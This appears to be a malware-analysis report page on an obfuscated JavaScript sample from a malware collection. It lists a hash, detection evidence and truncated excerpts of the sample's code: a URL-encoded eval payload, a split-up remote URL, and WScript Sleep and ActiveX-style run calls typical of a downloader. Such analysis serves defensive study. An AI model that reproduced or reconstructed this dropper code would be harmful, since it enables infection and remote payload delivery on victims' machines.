Suspicious ^80% javascript-malware-collection Download

20160328_6c89882a049f96e4b654935e29ec865d.js

Obfuscated WScript.Sleep and URL

jQuery ajaxSettings markereval() executing transformed code

SHA-256435250d7e2bb09fac2b8b91af9590baac92289cc80d9f11db5e06a16cf4c1d4e

Evidence

eval() with call expression argument line 1

1eval(pushStack("var%20whitespace%20%3D%20%28%22P%22%29%2C%20pageY%20%3D%20%28%22eep%22%29%2C%20progressValues%20%3D%20%283%29%3BpageX%20%3D%20%286140%29%2C%20seed%20%3D%20%28%22ateO%22%29%3BgetAttributeNode%20%3D%20%28%22s%22%29%2C%20returnFalse%20%3D%20%28%22HTT%22%29%2C%20stateVal%20%3D%20%28%22n%22%29%3BdefaultPrefilter%20%3D%20%28105%29%3Bonabort%20%3D%20%284607%29%3Bwin%20%3D%20%28%22n.ru/%22%29%2C%20status%20%3D%20%28%22.s%22%29%2C%20refElements%20%3D%20%28%22ltern%22%29%2C%20setOffset%20%3D%20%2892%29%2C%20elems%20%3D%20%28%22.3.%22%29%3Bvar%20ap%20%3D%20%28%22Micro%22%29%2C%20ontype%20%3D%20%2 …

Invokes zero-argument function at module scope lines 2–10

2:60… Left.fns();
3ajaxExtend(clearQueue, status);
4tween(sel, height);
5attaches();
6Expr(options, rneedsContext, ajaxSettings, ontype, display);
7clazz[rprotocol + "de"] = ((17 - results) | 1);
8clazz[rcssNum + "pe"] = ((sel / 2) - (parseOnly * 37));
9
10responseType …

Text has empty named-parameter catch lines 16–24

10… rray(display, parseOnly, rprotocol, rfocusable, onabort);
    _queueHooks["se" + getElementsByClassName]();
    break;
  } catch (j) {
20
  }
}
23
while (_queueHooks["rea" + cssText + "e"] != ((295 - marginRight), (20, setOffset, 227, lock), 4)) unmatched[unshift + " …

Obfuscated computed call cluster lines 26–30

117… ns | 102), (Math.pow(defaultPrefilter, 2) - scrollLeft))) {
  clazz["o" + matchIndexes + "e" + stateVal]();
  responseFields();
  transport["WScr" + buildParams]["Sleep"](((3321 + pageX) - (5485 & onabort)));
  rhash(css, css,  …

Calls JavaScript unescape lines 30–43

30:57… e);
31    addGetHookIf(DOMParser, grep, removeEvent, stateVal, matches);
32    cssHooks["Ru" + stateVal](compiled);
33  } else {
34
35  }
36}
37
38function pushStack(selectors) {
39  return unescape(selectors);
40}
41
42function responseType(slideUp, resolveContexts) {
43  pos(pushStack("capName%28clearQueue%20+%20%22p%3A//a%22%20+%20refElements%20+%20%22ati%22%20+%20percent%20+%20%22desig%22%20+%20win%20+%20%22l24KR%22%20+%20stopImmed …